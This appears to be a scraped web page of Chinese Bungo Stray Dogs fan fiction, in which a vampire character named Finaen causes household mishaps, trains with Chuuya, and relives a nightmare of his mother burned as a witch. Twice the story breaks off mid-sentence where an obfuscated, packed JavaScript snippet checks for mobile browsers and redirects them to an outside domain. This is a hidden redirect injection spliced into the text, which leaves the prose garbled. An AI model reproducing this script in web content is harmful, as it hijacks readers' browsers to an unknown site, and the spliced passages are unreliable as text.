他如临大敌般小心翼翼地拿起那部不断“叫嚣”的金属方块,指尖试探性地在冰冷的屏幕上戳了戳,点开了某个花花绿绿的图标——一个外卖APP的界面瞬间弹了出来。 “这个……红色的圆形符文?”他盯着屏幕上醒目的“下单”按钮,血红的眼眸里充满了古老生物面对现代科技的困惑与警惕,“是某种……召唤术?还是定位诅咒?” 他喃喃自语,指尖带着点研究精神地按了下去…… 等太宰从厨房出来时,迎接他的就是菲那恩捧着手机、一脸“我好像闯祸了但我不确定具体是什么祸”的茫然表情,以及自己手机屏幕上那个无比清晰的订单确认通知—— 二十杯番茄汁的外卖订单已经生成。 “……”太宰治盯着手机看了一会儿,转而看着眼神躲闪的菲那恩,微眯着眼,“……你点这么多番茄汁干什么?是想在家里开个番茄主题派对,还是打算淹死楼下的小矮子?” 菲那恩却像是捕捉到了什么惊天秘密,眼睛倏地亮了起来,那点闯祸的心虚瞬间被巨大的惊奇取代:“这个‘红色符文’……竟然真的能把东西召唤过来吗?!” 他仿佛发现了新大陆,完全忽略了太宰治话里的杀气和槽点。 太宰治盯着他看了足足三秒,最终像是放弃了和一只古董沟通现代物流体系,泄气般地摆摆手,语气恢复了惯常的懒散:“算了,反正……” 他拿起自己的手机,指尖在屏幕上轻点几下,嘴角勾起一抹幸灾乐祸的弧度,“绑的是中也的卡。” 中原中也恰好今天心情好,刚开了一瓶珍藏红酒。 这时,“叮——”的一声清脆提示音响起,是他放在一旁的私人手机。 中也皱眉,随手拿起来瞥了一眼——是一条银行发来的实时消费提醒。 哈?!! 可恶!那条死青花鱼什么时候把他卡偷走的?! “咔!” 一声脆响,他手中那支昂贵的高脚杯被他捏碎了,红酒混着玻璃流在他的手上,一点一点地滴落。 中也深吸一口气,额角的青筋突突直跳。 他强压下把手机也捏碎的冲动,扯出一个堪称狰狞的微笑,转身去拿新的高脚杯。 他的好心情成功被太宰治破坏了。 太宰公寓。 门铃响起的时候,菲那恩正研究着游戏机的暂停键。 几乎是铃声落下的瞬间,一道银光如同毒蛇出洞,撕裂空气,带着尖锐的破风声,“夺”的一声轻响,一把闪着寒光的水果刀精准地钉在了门板猫眼下方一寸的位置,刀柄还在微微颤动。 门外,提着两大袋沉重番茄汁的外卖小哥,看着距离自己鼻尖不足十公分的锋利刀刃,以及那深入木门的力道,脸“唰”地一下变得惨白如纸,声音抖得不成样子:“您、您的外卖……” 他当然不知道这栋看似普通的公寓楼属于港口Mafia,更不知道里面住着何等人物。 他只知道,再不跑,下一把飞来的东西可能就不是钉在门上了! 菲那恩慢悠悠地走过去开门,把两大袋沉重的番茄汁拖了进来,看着外卖小哥连滚爬爬、跌跌撞撞消失在楼梯间的背影,恍然大悟:“原来番茄汁是送来的啊……” 他小声嘀咕,似乎有点失望,“我还以为是……”某种罕见但实用的人类术法呢。 “什么……?”太宰治慵懒的声音自身后传来。 他不知何时从他的房间出来,倚靠在门框上,抱着手臂,鸢色的眼眸淡定扫过门板上那把刀,又落回菲那恩身上。 菲那恩没听清太宰治在说啥,他的注意力全被那二十杯诱人的“血红色液体”吸引了。 他兴致勃勃地拿起一杯,试图撕开杯口的塑封膜。 然而,沉睡三百年刚苏醒不久的身体,对力量的控制显然还不够精细,力气用小了撕不开,最后一不做二不休干脆用大一点的力量,结果…… “噗嗤——!” 一声轻响,封膜被暴力撕开的瞬间,杯中粘稠鲜红的番茄汁在压强作用下,如同微型喷泉,划出一道完美的抛物线,精准无比地—— 泼了太宰治一身。 白色的衬衫前襟,瞬间被染上大片淋漓的、触目惊心的“血迹”,粘稠的汁液顺着微微敞开的领口滑落,淌过线条分明的锁骨,留下一道蜿蜒的、极具视觉冲击力的“血痕”。 还有几粒细小的番茄果肉,沾在他微湿的黑发和苍白的脸颊上。 时间仿佛凝固了。 菲那恩举着空了大半的杯子,僵在原地。 太宰治低头,看了看自己惨不忍睹的白衬衫,又缓缓抬起眼皮,看向罪魁祸首。 三秒钟死寂般的对视后,菲那恩面无表情地、极其缓慢地将头转向一边,避开那令人窒息的视线,用一种努力维持体面但明显底气不足的语气,干巴巴道:“……赔你就是了。” 太宰治不知是习惯了,还是麻木了,表情非常镇定。 他伸出修长的手指,慢条斯理地捻起沾在自己锁骨附近的一粒饱满的番茄果肉。 指尖微凉。 在菲那恩惊愕的目光中,他将那粒鲜红的果肉,轻轻送入了自己口中。 薄唇微动,他细细品味了一下。 太宰治的舌尖舔过沾了点汁液的唇角,唇角勾起一个难以捉摸的弧度,“好像……味道还不错?” “!!!”菲那恩的瞳孔瞬间收缩成两道猩红的竖线,如同受惊的猫科动物。 “啪嗒!” 他手中的塑料杯应声落地,残余的番茄汁在地毯上洇开一小片刺目的红。 “太、太宰……” 他的声音罕见地卡壳了,带着一种近乎窒息的沙哑,视线死死锁在太宰治沾着鲜红汁液的唇角,还有那被“血迹”浸染、微微敞开的领口下,线条分明的锁骨。 菲那恩的喉结不受控制地剧烈滚动了一下,那温热的、带着独特甘甜气息的血液记忆,如同潮水般汹涌袭来。 太宰这个样子……好诱人…… 太宰治似乎对他的反应毫不意外,甚至带着点饶有兴味的观察。 “嗯?” 太宰治的尾音微微上扬,带着一丝探究,鸢色的眼眸深不见底。 “你也想喝?” 目光意有所指地扫过自己衬衫上那片狼藉的“血迹”,又落回菲那恩的漂亮脸蛋上。 菲那恩张了张嘴,却发不出任何有意义的声音,最终只是极其轻微地、带着点自己也未察觉的委屈和迷茫,点了点头,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366088|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞快地摇了摇头,眼神更加混乱了。 “呜……好香。” 一声细若蚊呐的、带着浓重鼻音的呓语,终于从他紧抿的唇缝间溢出,像迷失在甜腻陷阱中的小动物发出的困惑悲鸣。 这声“好香”,不知是指那泼洒的番茄汁,还是指那刻骨铭心的、属于太宰治血液的独特甘甜气息。 太宰治不慌不忙抽了一张纸巾擦着身上的番茄汁,好像什么都没发生似的,慢悠悠地说道:“冰箱里冷藏着我的血,我会不定时去补充你的‘口粮’。” 他顿了一秒,继续道:“当然,毕竟我只是普通人类,喝太快的话,你就只有饿肚子了。” 菲那恩只听进去了“冰箱里有太宰的血”,迫不及待地跑去打开冰箱门,里面赫然放着一个容量大概在200ml的瓶子,瓶子里散发的香气菲那恩再熟悉不过。 “真的有!”菲那恩的声音充满了惊喜。 太宰治无奈扶额,他感觉自己真的成饲养员了,竟然能对菲那恩容忍度这么高。 菲那恩的心脏跳动频率比平时高不少,明显处于兴奋状态。 有太宰做的大餐,还有太宰的血液补给…… 菲那恩感觉今天真是一个好日子。 然而,等太宰的“大餐”做好之后,菲那恩只吃了一口,下一秒脑袋就磕在桌子上,不省人事。 醒来后,他发现自己蜷缩在沙发上,太宰治在一旁翘着二郎腿看完全自杀手册。 他茫然地问太宰治,“太宰,大餐还没做好吗,嗯……?我怎么睡着了?” 太宰治的视线一直在完全自杀手册上,没看菲那恩,表情十分平静,“其实,你已经吃过了。” 菲那恩更加茫然了。 他什么时候吃过了……他怎么一点都不记得? 菲那恩正瘫在沙发上,努力回忆着那顿毫无印象的“大餐”,试图从味蕾记忆里挖掘出半点痕迹。 就在他茫然地舔着嘴角,怀疑自己是不是失忆了的时候,太宰治轻飘飘的声音再次传来,像一枚投入平静湖面的石子。 “啊,对了,菲那恩,”太宰治合上手中的《完全自杀手册》,鸢色的眼眸转向他,语气轻松得像是在讨论天气,“体术基础训练既然‘顺利’结束了,那么接下来,就该进行实战强化特训了。” 菲那恩缓慢地眨了下眼睛,长长的白色睫毛颤动着,“……强化特训?”他重复道,声音里还带着点沙哑。 “没错~”太宰治的笑容扩大,带着一种看好戏的愉悦,“我特意为你请了港口Mafia最强的体术导师呢。” 最强的体术导师? 他微微坐直了些,脸上依旧没什么表情,似乎正在思考这个体术导师是谁。 然后,他听到了那个名字。 “中也将会亲自指导你。”太宰治笑眯眯地投下了这枚重磅炸弹,“开始的时间就定在……明天上午吧?为期一周,地点在地下第五训练场,要好好表现哦,菲那恩~” “……”菲那恩僵在原地,粉色的长发似乎都失去了些许光泽。 他那双漂亮的红宝石眼眸,第一次清晰地映出了名为“天塌地陷”的情绪。 他甚至无意识地微微张开了嘴,露出一点点尖尖的虎牙,像个被吓傻了的猫咪。 看着他这副如丧考妣的模样,太宰治脸上的笑容越发灿烂明媚,仿佛看到了什么绝佳的娱乐节目。 “怎么?菲那恩是太高兴了吗?”他故意曲解道,“中也君可是很难请的哦。” 菲那恩缓缓地、极其缓慢地转过头,看向太宰治,眼神空洞,声音飘忽得像是从很远的地方传来:“……可以,不去吗?” 随即快速道:“我反正不会死,而且我觉得实战中不会有敌人难缠到能撑到我力量耗尽的——” “你说呢?”太宰治微笑着打断他,鸢色的眼底却没有丝毫商量的余地。 菲那恩:今天真是个坏日子…… 23.中也“教练” 电梯平稳上升,最终停在了顶层。 首领办公室厚重的双开门无声滑开。 森鸥外坐在宽大的办公桌后,双手交叠抵着下巴,脸上带着惯有的、令人捉摸不透的微笑。 “太宰君,”他声音温和地开口,“最近和菲那恩君相处得如何?” 太宰治站在桌前,神色平淡,只有嘴角几不可查地抽动了一下。 “托您的福,”他语气慵懒,带着一丝不易察觉的抱怨,“我已经成功转型为专职饲养员了。” 森鸥外低笑了一声,明智地跳过了这个话题,红眸中闪过一丝锐利的光。 “太宰君,最近里世界的风声,想必你也有所耳闻。”他身体微微前倾,语气沉了下来,“横滨近期失踪案频发,与此同时,一条新的走私线路却悄然浮出水面。” “略有耳闻。”太宰治回答得言简意赅。 “我决不允许毒品和人口买卖的污流,在横滨蔓延。”森鸥外的声音不高,却带着不容置疑的份量和一丝冰冷的怒意,“这是绝对的红线。” 太宰治轻轻叹了口气,仿佛早已预料到这个结果。 “明白了,首领。”他神情厌厌地说道,“我会去处理好的。” “很好。”森鸥外满意地点点头,“至于菲那恩君的事,暂且可以放一放,优先处理眼下这件事。” 太宰治微微颔首。 “正好,”他接口道,语气恢复了些许漫不经心,“我已经把他丢给中也进行为期一周的体术强化了。” ………… 地下第五训练场。 菲那恩准时出现在门口,身上换了一套港口Mafia发的黑色训练服,衬得他皮肤愈发苍白,粉色长发扎成了一个利落的马尾。 中原中也已经等在那里,正活动着手腕脚踝,看到菲那恩,钴蓝色的眼睛扫了过来。 “啧,来了。”中也开口,语气算不上友好,但也没有特别针对,更像是公事公办,“太宰那混蛋净会给我找事。” 他走到菲那恩面前,皱着眉看着他,语气竟然还算比较温和,“我的训练很严格,受不了现在就可以走。” 菲那恩摇了摇头,眼里透出一丝微不可查的认真,“我答应太宰会好好坚持的。” 他顿了顿,突然像想起什么似的,补充了一句称呼,“中也。” 中原中也听到那声干脆利落的“中也”,明显愣了一下。 这吸血鬼记性还挺好的。 “记住你现在的话。”中也压下心中那点不自在,冷哼一声,不再废话,“热身就不用了,看你这副样子也不像需要,直接开始,让我先摸摸你的底。” 话音未落,他身影骤然模糊! 好快! 菲那恩血红的瞳孔瞬间收缩,几乎是依靠本能猛地向后仰头,一道凌厉的拳风擦着他的鼻尖掠过,带起的劲风刮得他脸颊生疼。 一击落空,中也眼中闪过一丝极淡的讶异,但攻势丝毫未停。 他的攻击如同暴风骤雨,拳、脚、肘、膝,从各种不可思议的角度袭来,每一击都蕴含着可怕的力量,却又巧妙地控制在刚好能让菲那恩感到极度威胁,逼迫他做出极限反应的程度。 这是与太宰的训练完全不同,太宰更多地是教他巧技和知识,中也则是训练他的力量。 菲那恩全神贯注,将血族的动态视力和反应速度发挥到极致。 他像一片在狂风巨浪中飘摇的叶子,艰难地闪避、格挡。 训练场内不断响起□□碰撞的闷响和他的靴底与地面急促摩擦的声音。 中也的攻击不仅快、狠,而且极其精准,每一次都精准地指向他的防御空隙和发力弱点。 “太慢了!” “重心!下盘稳不住就是活靶子!” “格挡不是硬抗!卸力!顺势引导!” “反击!抓住我的力竭点!你的眼睛是装饰吗?!” “呼吸!调整节奏!” 中也的声音又响又直接,像鞭子一样抽打着菲那恩的神经。 但奇异的是,菲那恩虽然被打得节节败退,浑身疼痛,他那双原本因陌生环境而戒备的红眸里,却渐渐燃起了一丝……被点燃的战意和专注。 他能清晰地感觉到,中也的每一次攻击都留有余地,那些话却精也准地戳破了他的每一个错误。 这个矮个子人类,是在用一种极其粗暴的方式,毫无保留地教他。 这种直来直往的教学,虽然痛苦,却意外地……纯粹和高效。 在一次迅猛的连环踢击后,菲那恩终于抓住中也收腿瞬间一个微小的破绽,血族的速度瞬间爆发,侧身切入,手刀直劈中也颈侧。 这一下又快又突然! 中也眼中精光一闪,似乎早有所料,并未硬接,而是瞬间下沉重心,同时左臂闪电般格挡的同时,右手成爪,直取菲那恩因进攻而露出的腹部空档。 “砰!” 菲那恩的腹部被结结实实地击中,他劈出的手刀也被中也牢牢架住。 一股闷痛传来,菲那恩闷哼一声,踉跄着后退了两步才稳住身形,呼吸有些急促。 中也站在原地,甩了甩格挡的手臂,看着菲那恩,嘴角似乎几不可查地勾了一下,但很快又压了下去,恢复那副暴躁教练的样子。 “总算有点像样的反击了,”他哼道,语气依旧不客气,“不过破绽大得能跑马车!攻击的时候不考虑防御吗?你以为你的敌人会站着让你打?” 菲那恩捂着仍在隐隐作痛的腹部,抬起头,目光有些涣散,解释道:“因为…可以快速自愈……” “所以下意识地放弃了防御?”中原中也替他说完了未尽之语,表情严肃。 菲那恩慢慢直起身,再次摆好了架势,整个人的气场似乎变得凝实了一些,“嗯……但我知道我应该要尽量避免受伤。” “……继续。”他的声音因为刚才的冲击还有些微喘,但语气却很坚定。 中也看着他这副迅速调整好状态、甚至眼神更亮了些的样子,心里竟然升起一丝……或许可以称之为“教练的欣慰”。 接下来的训练,依旧是菲那恩单方面挨揍为主,但他闪避和格挡的效率明显提升,偶尔抓住机会的反击也开始带上了一点章法,虽然在中也面前依旧稚嫩,却不再是纯粹的本能乱窜。 当训练结束时,菲那恩几乎是靠着 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他拧开瓶盖,喝着那瓶味道奇怪的饮料,感受着身体各处传来的剧烈酸痛和心中一种……奇异的充实感。 中也,很强,非常强,打人也超级疼。 他就算全盛时期,也不能保证百分之百能打得过中也,但中也的心思意外地……很细腻。 嗯……他不知道怎么形容那种感觉,但感觉好像和太宰是完全不同类型的人? 他头疼,人类好复杂。 他忽然想起,在拍卖场上,正是中也将他买下,而当时听闻,中也最初的意愿,似乎是想要给予一个无处安放的亡灵……以宁静的归所…… 菲那恩的眼眸深处,极快地掠过一丝微不可察的触动。 然而下一秒,某些刻骨铭心的记忆翻涌而上,将那刚刚萌芽的细微波澜彻底压了下去,眸中重归沉寂。 火…… 灼热的、舔舐一切的火焰,冲天而起,将漆黑的夜空染成可怖的橘红色。 女人的尖叫声……哭喊声……还有那些扭曲的、狂热的、举着火把的面孔…… 菲那恩闭上眼睛,好一会儿才睁开眼,随即慢慢抬起自己依旧在轻微颤抖的手,看着上面格挡留下的红痕和磨破的皮肤正在渐渐修复。 他沉默地站了一会儿,然后转身,慢慢地、一瘸一拐地走向更衣室。 可太宰明明也只是人类…… 他什么时候和人类这么靠近了?他什么时候对人类这般纵容了? 太宰……太宰治…… 没有“心脏”的他,在太宰身边会很开心,只要靠近太宰,就会宁静下来。 有些事情是不能多想的,一旦细想下去,就会发现某些自己已经忽略了的事。 他猛然意识到,太宰在他心中确实有点特殊得过分了。 他想,或许是因为太宰的血很香,或许是因为太宰是他目前唯一的食谱,也或许是因为别的、他不知道的某种东西。 一定是这样的。 所以,就算他现在很想很想见太宰治,也是很正常的吧? 24.噩梦 夜晚的港口mafia附近的街道空无一人,只有昏黄的路灯将菲那恩的影子拉得很长,又短短地压在脚下,周而复始。 寂静放大了一切细微的声响——风声、远处车辆的嗡鸣、还有他自己微弱的心跳声。 一种莫名的、沉甸甸的情绪如同湿透的棉絮,堵塞在他的胸腔。 他不喜欢这种感觉,这种仿佛被整个世界遗弃的孤独感。 他下意识地加快脚步,近乎急切地想要回到那个临时的居所。 然而,当他用钥匙打开门,迎接他的只有一片黑暗和死寂时,那份被强行压下的空洞感骤然膨胀,几乎将他吞没。 太宰不在。 空旷的客厅里只有家具模糊的轮廓,安静得可怕。 空气里残留的那丝属于太宰的的独特气息,淡得几乎捕捉不到,反而更加凸显了此刻的空无。 他几乎是手忙脚乱地下意识掏出了太宰治给他的那部加密手机。 冰冷的金属外壳握在手中,屏幕上只存储了一个联系人。 他颤抖着指尖按下拨号键,将听筒紧紧贴在耳边。 忙音只响了两声就被接起。 “摩西摩西~菲那恩?”太宰治那惯常的、带着点懒洋洋调笑意味的声音从听筒里传来,背景音有些嘈杂,似乎还有隐约的呻吟和拖拽声。 仅仅是听到这个声音,菲那恩紧绷的神经就像是被一只无形的手轻轻抚过,骤然松弛下来。 他张了张嘴,却发现自己一时失语,只是贪婪地捕捉着电话那端的呼吸和杂音。 “嗯?怎么不说话?”太宰治的声音再次响起,带着一丝疑问,“信号不好吗?又把自己塞进什么奇怪的地方了?” “……没。”菲那恩终于找回了自己的声音,干巴巴地挤出一个字。 他顿了顿,努力让自己的语气听起来正常些,甚至带上了一点平时绝不会有的、主动的询问,“你……什么时候回来?” 电话那头沉默了片刻,似乎有些意外。 太宰治的声音再次响起时,带着点若有所思:“唔……这边已经开始收尾,还得回去补个报告……” 菲那恩的心微微提了起来,“我……”想去找你。 “……不过,”太宰治话锋一转,语气变得轻快而狡猾,“如果菲那恩愿意发挥一下助理的职能,帮我写完那份报告的话,我大概……现在就能动身回去了哦?” 几乎是没有任何犹豫,菲那恩立刻点头,即使对方根本看不到:“好,我写。” 电话那头又沉默了两秒,太宰治的声音才重新传来,听起来和往常无异,甚至带着点笑意:“这么好说话?那我可当真了。” 菲那恩一脸疑惑地反问:“……我什么时候不好说话了?” 在挂断电话前,菲那恩清晰地听到那边传来一声沉闷的击打声和一声短促的惨叫,以及太宰治用截然不同的冰冷语气对属下吩咐:“带回总部地下牢房,交给红叶大姐审讯。” 电话挂断。 菲那恩握着手机,站在空旷的客厅里,周身的冷寂似乎被驱散了些许。 等待的时间变得格外漫长。 对了,泡澡,中也说训练后要泡热水澡。 他走进浴室,反手锁上门,胡乱地脱掉衣服,打开水龙头,看着热水哗哗地注入浴缸,蒸腾起一片白茫茫的水汽,稍微驱散了一些身体的寒意。 他滑入浴缸,将整个人,包括脑袋,都慢慢沉入温热的水中。 水流包裹着他的身体,带来些许慰藉,视野被晃动的水波和模糊的天花板灯光占据,耳朵里灌满了水流沉闷的呜咽声,隔绝了外界的一切。 在这封闭的、被温水包裹的小小空间里,他紧绷的神经终于彻底松懈下来。 疲惫如同潮水般涌上,意识逐渐模糊…… …… “烧死这个魔女!” “烧死那个小怪物!” “妈妈——!” 热浪扑面而来,几乎要将他烤焦,浓烟呛入喉咙,带来撕裂般的疼痛。 他想要冲过去,却被一双手死死拉住,只能眼睁睁看着……看着那道纤细的身影被吞没在烈焰之中…… …… 不知过了多久,玄关处传来钥匙转动门锁的声音。 “哗啦——!” 太宰治推开公寓门,手里拿着一个薄薄的文件夹,脚下传来的异常触感和声响让他顿住了脚步。 积水。 冰凉的水漫过玄关,淹没了地板,在昏暗的光线下泛着微光。空气中弥漫着浓郁的水汽。 家里像是遭了洪灾。 太宰治鸢色的眼眸瞬间扫过客厅,空无一人。他的视线立刻锁定了紧闭的浴室门,水正不断地从门缝底下渗出。 一种不妙的预感掠过心头。 他将文件夹随手放在玄关处的柜子上,随后快步走过去,拧动门把手——锁着。 “菲那恩?”他敲了敲门,里面没有任何回应,只有持续的水流声。 没有犹豫,太宰治不知从哪摸出一根细铁丝,几下便弄开了并不复杂的门锁。 推开门的一刹那,更大量的水涌了出来。浴室里一片狼藉,水龙头还在不知疲倦地放着热水,浴缸早已满溢出来。 而那个罪魁祸首,正无声无息地沉在浴缸底部,粉色的长发如同海藻般散开,苍白的肌肤在晃动的水波下显得有些不真实。 他蜷缩着,身体赤裸,双眼紧闭,仿佛一尊被遗弃在水底的精美雕塑。 尽管太宰治很清楚,就算菲那恩平时装模作样像人类一样呼吸,实际上却根本不需要呼吸,就算在水底躺一天也不会淹死。 但在看到菲那恩毫无声息地沉在水底的瞬间,他的心脏还是像被一只无形的手狠狠攥紧,骤然收缩了一下。 “菲那恩!”他快步上前,关掉水龙头,然后毫不犹豫地伸手探入水中,揽住那具冰凉滑腻的身体,将人从水里捞了出来。 菲那恩的身体因为长时间浸泡在热水中而泛着不正常的粉红,水珠不断从他苍白的皮肤上滚落。离开水面的瞬间,他猛地咳嗽了几声,长睫颤动,艰难地睁开了眼睛。 赤红的眼眸里还残留着噩梦带来的惊恐和未散的水汽,迷茫地聚焦。 他首先看到的,是太宰治近在咫尺的、带着罕见紧张神色的脸。 几乎是出于本能,在看清是太宰的瞬间,菲那恩完全不顾自己还全身赤裸、湿漉漉地滴着水,立刻像只受惊后寻求庇护的树袋熊,猛地伸出双手紧紧搂住了太宰治的脖子,修长的双腿也下意识地缠上了太宰的腰腹,整个人死死地贴在他身上,寻求着最直接、最紧密的接触。 太宰治被他这突如其来的动作搞得猝不及防,差点没站稳。 手上还抱着个全身湿滑的人形挂件,他只能下意识地调整姿势,一只手托住菲那恩光裸的臀腿稳住他,另一只手环住他纤细冰凉、还在滴水的腰肢,防止他滑下去。 “太宰……”菲那恩把脸深深埋进太宰治的颈窝,声音闷闷的,带着刚醒的沙哑和一丝不易察觉的哽咽,“你回来了……” 太宰治感受着怀里冰冷又因热水而泛着异常热度的身体,还有那细微的颤抖,叹了口气,抱着他小心翼翼地走出浴室,尽量避免踩到太多的水,将他放到客厅的沙发上。 “嗯。”太宰治应了一声,看着他这副狼狈又依赖的样子,语气有些无奈,“你怎么搞的?家里像被水淹了一样。” 菲那恩却依旧搂着他的脖子不肯松开,湿漉漉的脑袋蹭着他的脸颊,小声回答:“中也说……训练完最好泡个热水澡……” “然后你就睡着了?”太宰治挑眉。 “嗯……”菲那恩的声音更低了,带着点心虚。 太宰治感觉到怀里的身体似乎又轻微地颤抖了一下。 “……做噩梦了?”他放缓了声音,问道。 埋在他颈窝的粉色脑袋顿了一下,然后微不可察地点了点,“嗯,很可怕的噩梦……” 不管是mafia,还是太宰治,从来不会主动探寻别人的内心世界,这是极其危险的。 菲那恩不说,太宰治自然也不会问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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菲那恩看起来已经脱离了噩梦的情绪……正常得过分,依旧是那副有点笨拙却异常认真的样子,微微蹙着眉,努力辨认着报告上的字迹和要求。 他拿起钢笔,一笔一划地书写。 然后,太宰治就目睹了一场“灾难”的发生。 那些复杂的日文字符对菲那恩来说显然是个巨大的挑战。 他写得极其缓慢,时不时就卡住,对着一个词反复描摹,写出来的字迹歪歪扭扭,大小不一,如同蜘蛛爬。 遇到不会写的字,他甚至会真的拿出一本厚厚的字典开始翻查,表情严肃得仿佛在进行学术研究。 太宰治念给他听的事件概要,他听着听着就会走神,然后茫然地抬头问:“刚才那个词……怎么写?” 太宰治:“……” 他彻底放弃了探究菲那恩之前做了怎样的、能让吸血鬼都害怕的噩梦。 他转而全身心地“欣赏”起菲那恩艰难跋涉于小学生文字作业的苦旅,嘴角的笑意越来越明显,最后干脆支着下巴,毫不掩饰地看好戏。 “噗……”当看到菲那恩把一个简单的词汇写得完全偏离轨道,甚至创造出了疑似新的文字时,太宰治终于没忍住,低笑出声。 菲那恩抬起头,疑惑地看了他一眼,血红的眼睛里写着茫然,似乎不明白太宰治的笑点在哪里。 太宰治摆摆手,示意他继续写,只是肩膀还在微微耸动。 最终,当菲那恩终于“攻克”了那份报告,将它郑重地交给太宰治时,太宰治只是随意地扫了一眼那满纸惨不忍睹的字迹和随处可见的红圈,就塞回了文件夹。 “辛苦了~”他笑眯眯地感谢,但却毫无诚意。 第二天,这份报告和其他文件一起被送到了森鸥外的办公桌上。 港口Mafia首领在处理公务时,看到了那份画风清奇、错别字百出、需要连蒙带猜才能读懂大概内容的报告,沉默了很久。 最终,他拿起红笔,在那份报告最上方,批注了几个字: ——扫盲,重写。 25.迎新会 热浪。 令人窒息的热浪扑面而来,几乎要将他睫毛烧焦。 空气中弥漫着木材燃烧的噼啪声、某种东西烧焦的可怕气味,还有……人群狂热的呐喊。 “烧死魔女!” “引出那个小怪物!” “净化!为了纯洁!” 声音尖锐而扭曲,充满了恐惧转化而来的暴力。 菲那恩不在床上,而是在……一片空地上。 周围是晃动的人影,举着火把,面孔在跳跃的火光下狰狞如鬼魅。 他们的眼睛瞪得很大,里面没有理智,只有疯狂的火焰。 而他的视线,被牢牢钉在空地中央。 那里立着一个粗糙的木桩,周围堆满了干柴。 木桩上,绑着一个女人。 她的衣裙素净,却已沾满了污渍和尘土,长长的、与他一样的粉色长发凌乱地披散着,遮住了部分脸颊,但露出的那双湛蓝色眼眸,此刻没有恐惧,只有一片死寂的、近乎温柔的哀伤。 她正望着他的方向。 “妈妈——!” 他听到一声凄厉的、属于幼童的尖叫撕裂了夜空。 那是他的声音。 他想要冲过去,用他微薄的力量扯断那些绳索,扑灭那些可怕的火焰。 但一双手从身后死死地抱住了他,捂住了他的嘴,将他拖离黑暗。 那怀抱带着一种奇异的、与周遭烈焰格格不入的微凉,手臂环锢的力道坚决得不留余地。 “抱歉,我不能让你去。”那个声音在他耳边响起,温柔而熟悉,带着一种不容辩驳的决断,穿透了疯狂的喧嚣,“你得活下去。” 他拼命挣扎,牙齿咬破了捂住他嘴的手掌,尝到了铁锈般的血腥味,但那双手臂如同铁箍,纹丝不动。 他甚至能感觉到对方手臂上缠绕着的、略显粗糙的布料质感。 他只能眼睁睁地看着—— 一个举着火把的男人走上前,脸上带着扭曲的笑容,将火把扔向了干柴。 “不——!!!” 火焰轰然窜起,如同贪婪的毒蛇,瞬间舔舐而上,缠绕上女人的裙摆,吞噬着她的身影。 浓烟滚滚升起,在扭曲的火光与烟雾中,他看到她最后的目光,依旧定格在他这里。 那目光里没有了哀伤,只剩下一种极致的不舍和……嘱托。 她的嘴唇微微动了动,似乎想说什么,但火焰已经彻底将她吞没。 那无声的唇形,却像最灼热的烙铁,狠狠烫在他的灵魂深处—— ……逃…… ……活下去…… ……照顾好自己…… ……永远…… 这是她深沉的爱,也是世间最沉重的诅咒。 世界只剩下火焰燃烧的爆裂声,人群满足又恐惧的欢呼,还有那令人作呕的、皮肉烧焦的气味。 禁锢着他的手臂和那个声音的主人,也如同融入阴影般,随着噩梦的剧烈翻腾而悄然褪去,只留下那冰冷的触感和不容反抗的力度,烙印在记忆的碎片里。 热。 无边无际的热。 仿佛要将他一起融化,焚烧殆尽。 ………… 菲那恩猛地从噩梦中惊醒,胸口剧烈起伏,仿佛那灼热的气息仍堵在喉咙口,带着皮肉烧焦的可怕气味。 冰冷的月光从未拉严的窗帘缝隙中淌入,在他苍白的皮肤上切割出明暗的界限。 房间里开着空调,但菲那恩还是出了一身冷汗。 他无声地滑下床,赤脚踩在冰凉的地板上,一步步走向窗台,轻巧地坐了上去,蜷起双腿,将下巴搁在膝盖上。 窗外,一轮明月高悬,清辉洒落,却丝毫无法驱散他心底从梦境蔓延出的熊熊烈火和刺骨寒意。 母亲……那双湛蓝色的、最后只剩下温柔的眼睛,又一次清晰地浮现在眼前。 母亲永远地离开了,他也将自己永远困在了那场大火噩梦中。 那份存在了不知多少岁月的恨,每隔一段时间就要出来找一下存在感,如同被火星溅到的干柴,瞬间在他胸腔里噼啪作响,几乎要冲破喉咙—— 人类对“异类”施以暴行,轻易就能将其焚烧殆尽。 这股恨意如此熟悉,是他过去漫长岁月里用以武装自己、隔绝世界的甲胄。 可是这一次,就在那恨意即将如同以往一样彻底吞噬他的理智时,几个身影却不受控制地闯入他的脑海。 太宰、中也、森首领、红叶姐、广津…… 零碎的、属于人类的“善意”的片段,像一颗颗微弱却执拗的星子,试图照亮他内心那片被仇恨火焰炙烤得焦黑的荒原。 迷茫如同潮水般涌上,瞬间淹没了那几乎要成形的恨意。 他该怎么办? 继续恨下去吗? 像过去那样,将一切人类视为仇敌,以此告慰母亲在那无尽火海中的亡魂? 他闭上了眼睛,赤红的眼眸在眼皮下轻轻颤动。 他仿佛站在一条裂谷的中央,一侧是母亲葬身火海的无尽恨意与绝望,另一侧则是太宰、中也等人带来的、让他不知所措的微弱暖流。 他被这两种截然相反的力量拉扯着,几乎要撕裂开来。 向往人类的温度,就是背叛母亲的死。 牢记母亲的死,就必须拒绝所有人类的温度。 这似乎是一个无解的悖论,一个沉重的枷锁。 夜风透过窗缝吹进来,拂动他粉色的发丝。 他蜷在窗台上,像一尊被遗弃的、迷茫的精灵,望着那轮沉默的月亮,心底似乎产生了些许动摇。 仇恨变得不再那么纯粹,而人类的温度,也带来了前所未有的痛苦。 长夜漫漫,他心底的挣扎,似乎比那月光更加冷,比那梦境中的火焰更加灼人。 …… …… …… 菲那恩好几天都有些蔫蔫的。 训练照旧,任务也完成得无可指摘,但那双赤红的眼眸里像是蒙上了一层薄灰,失去了焦点。 